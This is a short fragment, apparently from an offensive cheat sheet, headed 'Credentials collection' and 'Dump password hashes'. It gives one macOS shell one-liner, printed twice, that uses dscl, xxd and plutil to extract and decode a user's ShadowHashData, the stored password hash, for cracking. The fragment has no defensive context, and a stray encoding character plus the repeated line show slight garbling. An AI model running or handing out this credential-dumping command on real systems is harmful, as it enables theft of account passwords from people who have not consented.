Credentials collection
Dump password hashesâ
dscl . -read /Users/<user> dsAttrTypeNative:ShadowHashData | tail -n 1 | tr -dc '0-9a-f' | xxd -p -r | plutil -convert xml1 - -o -
dscl . -read /Users/<user> dsAttrTypeNative:ShadowHashData | tail -n 1 | tr -dc '0-9a-f' | xxd -p -r | plutil -convert xml1 - -o -